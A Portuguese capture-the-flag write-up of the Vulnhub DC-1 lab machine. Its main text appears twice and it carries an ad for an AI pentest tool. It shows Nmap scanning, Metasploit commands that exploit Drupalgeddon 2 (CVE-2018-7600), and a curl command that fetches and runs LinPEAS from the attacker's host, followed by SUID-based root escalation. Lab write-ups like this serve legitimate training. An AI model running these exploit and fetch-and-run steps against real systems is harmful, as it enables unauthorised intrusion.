Este artigo detalha o processo de penetration testing na máquina virtual DC-1 do Vulnhub, focando na exploração de vulnerabilidades e escalonamento de privilégios. O write-up segue a matriz MITRE ATT&CK para classificar as táticas e técnicas utilizadas.
MundiX News·02 de junho de 2026·6 min de leitura·👁 4 views
Hoje, analisaremos uma máquina virtual interessante do Vulnhub: DC-1, criada pelo autor DCAU. A máquina parece ser voltada para um nível Iniciante/Intermediário, embora o autor não tenha especificado a dificuldade. Ela se destaca por ter flags não convencionais – são cinco no total, mas apenas uma flag de root é realmente relevante, enquanto as outras servem como pistas no caminho. Para classificar nossas ações, utilizaremos a matriz MITRE ATT&CK, com um KillChain completo apresentado ao final do artigo.
Não entraremos em detalhes sobre a preparação e configuração no VirtualBox, pois esse processo é geralmente o mesmo para todas as máquinas. Vamos direto ao que interessa.
T1595 - Reconhecimento
Primeiro, aquecemos nossos dedos ágeis, servimos um chá e vamos lá. A primeira etapa é a reconhecimento: descobrir quais portas estão abertas, o que há de interessante nelas e como podemos interagir com isso. Utilizamos o Nmap para escanear a máquina:
bash
nmap -A -sV 192.168.56.105
Entre os resultados interessantes, notamos a porta rpcbind aberta. No entanto, não acreditamos que máquinas de nível inicial dependeriam dela para o killchain:
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
Acessamos a interface web para ver o que ela oferece. Vemos um pouco de Drupal 7. Há um botão de registro, mas o administrador não aprova nossa conta devido à sua ausência. Continuamos a investigar, verificando diretórios básicos e escaneando a interface em busca de vulnerabilidades. O arquivo /robots.txt nos forneceu informações úteis sobre diretórios de configuração e instalação, muitos dos quais retornam um erro 403. A diretoria /admin também aponta para Drupal 7, sugerindo a busca por CVEs. Uma rápida pesquisa no Google nos leva a uma vasta base de vulnerabilidades e à ferramenta de código aberto DScanner.
Executamos o DScanner:
bash
python3 DScanner.py
O resultado é promissor:
[!!] Confirmed RCE in CVE-2018-7600 (RCE):
http://192.168.56.105/user/register
Esta é uma vulnerabilidade de Remote Code Execution (RCE) conhecida como CVE-2018-7600, ou Drupalgeddon 2. Ela permite a execução de código arbitrário devido ao processamento inseguro de 'render arrays' no Drupal Form API. É hora de entrar no sistema.
T1190 - Acesso Inicial
Para explorar a CVE-2018-7600, utilizaremos o Metasploit, um framework com exploits para diversas finalidades. A configuração seria a seguinte:
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.56.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.56.1
msf exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /user/register
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
Atualize seu sistema em tempo hábil, senhores. Agora estamos dentro. Vamos verificar o primeiro flag, talvez haja algo interessante:
bash
lscat flag1.txt
O conteúdo do flag é: "Every good CMS needs a config file - and so do you." (Todo bom CMS precisa de um arquivo de configuração - e você também).
Agora, vamos buscar aumentar nossos privilégios. Não queremos nascer como www-data e viver toda a vida sem nos tornarmos root, certo?
T1548.001 - Escalonamento de Privilégios
Chegou a hora de alcançar o flag final de root. Para isso, usamos o LinPEAS, um scanner de arquivos e configurações interessantes que permitem aumentar os privilégios no sistema. Paralelamente, adicionamos a técnica T1105 (Transferência de Ferramentas) ao nosso killchain, trazendo o LinPEAS de uma rede externa para a máquina comprometida.
No nosso host:
bash
cd tools/
python3 -m http.server 8080
No servidor comprometido:
bash
cd /tmp/
curl http://192.168.56.1:8080/linpeas.sh > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Analisamos cuidadosamente a saída do LinPEAS e encontramos algo promissor:
A utilidade find está sendo executada com privilégios de root, o que é excelente, pois podemos usá-la não apenas para ler arquivos. Procuramos exploits para ela em https://gtfobins.org/gtfobins/find/. Olhamos o que há na pasta /root e obtemos o último flag.
O conteúdo do flag final é: "Well done!!! Hopefully you’ve enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7" (Parabéns!!! Espero que você tenha gostado e aprendido novas habilidades. Você pode me dizer o que achou desta pequena jornada entrando em contato comigo via Twitter - @DCAU7).
Conclusão
A máquina é excelente para iniciantes, pois fornece habilidades básicas de pesquisa no Google, busca de CVEs, exploits correspondentes e aplicação prática. Ela também ensina a trabalhar com SUID e a usar suas funcionalidades. Como desvantagens, o killchain é um pouco monótono, consistindo em uma única CVE e um comando SUID, tudo de forma bastante direta. Além disso, o autor parece não estar familiarizado com o formato das flags, mas atribuímos isso ao fato de ser sua primeira máquina.
Como prometido, o killchain completo da máquina:
Reconnaissance
T1595 Active Scanning (Nmap)
T1594 Search Victim-Owned Websites
T1595.002 Vulnerability Scanning (DScanner)
Initial Access
T1190 Exploit Public-Facing Application
Command Execution
T1059.004 Unix Shell
Command and Control
T1105 Ingress Tool Transfer
Privilege Escalation
T1548.001 Setuid and Setgid
🛡️⚡
Pare de pesquisar. Comece a hackear.
O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.
Sem cartão para começar · Planos a partir de R$49/mês
Hoje, analisaremos uma máquina virtual interessante do Vulnhub: DC-1, criada pelo autor DCAU. A máquina parece ser voltada para um nível Iniciante/Intermediário, embora o autor não tenha especificado a dificuldade. Ela se destaca por ter flags não convencionais – são cinco no total, mas apenas uma flag de root é realmente relevante, enquanto as outras servem como pistas no caminho. Para classificar nossas ações, utilizaremos a matriz MITRE ATT&CK, com um KillChain completo apresentado ao final do artigo.
Não entraremos em detalhes sobre a preparação e configuração no VirtualBox, pois esse processo é geralmente o mesmo para todas as máquinas. Vamos direto ao que interessa.
T1595 - Reconhecimento
Primeiro, aquecemos nossos dedos ágeis, servimos um chá e vamos lá. A primeira etapa é a reconhecimento: descobrir quais portas estão abertas, o que há de interessante nelas e como podemos interagir com isso. Utilizamos o Nmap para escanear a máquina:
nmap -A -sV 192.168.56.105
Entre os resultados interessantes, notamos a porta rpcbind aberta. No entanto, não acreditamos que máquinas de nível inicial dependeriam dela para o killchain:
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
Acessamos a interface web para ver o que ela oferece. Vemos um pouco de Drupal 7. Há um botão de registro, mas o administrador não aprova nossa conta devido à sua ausência. Continuamos a investigar, verificando diretórios básicos e escaneando a interface em busca de vulnerabilidades. O arquivo /robots.txt nos forneceu informações úteis sobre diretórios de configuração e instalação, muitos dos quais retornam um erro 403. A diretoria /admin também aponta para Drupal 7, sugerindo a busca por CVEs. Uma rápida pesquisa no Google nos leva a uma vasta base de vulnerabilidades e à ferramenta de código aberto DScanner.
Executamos o DScanner:
python3 DScanner.py
O resultado é promissor:
[!!] Confirmed RCE in CVE-2018-7600 (RCE):
http://192.168.56.105/user/register
Esta é uma vulnerabilidade de Remote Code Execution (RCE) conhecida como CVE-2018-7600, ou Drupalgeddon 2. Ela permite a execução de código arbitrário devido ao processamento inseguro de 'render arrays' no Drupal Form API. É hora de entrar no sistema.
T1190 - Acesso Inicial
Para explorar a CVE-2018-7600, utilizaremos o Metasploit, um framework com exploits para diversas finalidades. A configuração seria a seguinte:
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.56.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.56.1
msf exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /user/register
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
Atualize seu sistema em tempo hábil, senhores. Agora estamos dentro. Vamos verificar o primeiro flag, talvez haja algo interessante:
ls
cat flag1.txt
O conteúdo do flag é: "Every good CMS needs a config file - and so do you." (Todo bom CMS precisa de um arquivo de configuração - e você também).
Agora, vamos buscar aumentar nossos privilégios. Não queremos nascer como www-data e viver toda a vida sem nos tornarmos root, certo?
T1548.001 - Escalonamento de Privilégios
Chegou a hora de alcançar o flag final de root. Para isso, usamos o LinPEAS, um scanner de arquivos e configurações interessantes que permitem aumentar os privilégios no sistema. Paralelamente, adicionamos a técnica T1105 (Transferência de Ferramentas) ao nosso killchain, trazendo o LinPEAS de uma rede externa para a máquina comprometida.
No nosso host:
cd tools/
python3 -m http.server 8080
No servidor comprometido:
cd /tmp/
curl http://192.168.56.1:8080/linpeas.sh > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Analisamos cuidadosamente a saída do LinPEAS e encontramos algo promissor:
A utilidade find está sendo executada com privilégios de root, o que é excelente, pois podemos usá-la não apenas para ler arquivos. Procuramos exploits para ela em https://gtfobins.org/gtfobins/find/. Olhamos o que há na pasta /root e obtemos o último flag.
O conteúdo do flag final é: "Well done!!! Hopefully you’ve enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7" (Parabéns!!! Espero que você tenha gostado e aprendido novas habilidades. Você pode me dizer o que achou desta pequena jornada entrando em contato comigo via Twitter - @DCAU7).
Conclusão
A máquina é excelente para iniciantes, pois fornece habilidades básicas de pesquisa no Google, busca de CVEs, exploits correspondentes e aplicação prática. Ela também ensina a trabalhar com SUID e a usar suas funcionalidades. Como desvantagens, o killchain é um pouco monótono, consistindo em uma única CVE e um comando SUID, tudo de forma bastante direta. Além disso, o autor parece não estar familiarizado com o formato das flags, mas atribuímos isso ao fato de ser sua primeira máquina.
Como prometido, o killchain completo da máquina:
Reconnaissance
T1595 Active Scanning (Nmap)
T1594 Search Victim-Owned Websites
T1595.002 Vulnerability Scanning (DScanner)
Initial Access
T1190 Exploit Public-Facing Application
Command Execution
T1059.004 Unix Shell
Command and Control
T1105 Ingress Tool Transfer
Privilege Escalation
T1548.001 Setuid and Setgid
📤 Compartilhar & Baixar
🧰 Ferramentas recomendadas
Divulgação: alguns links são patrocinados. Podemos receber comissão se você comprar — sem custo extra para você. Só indicamos o que faz sentido para a comunidade.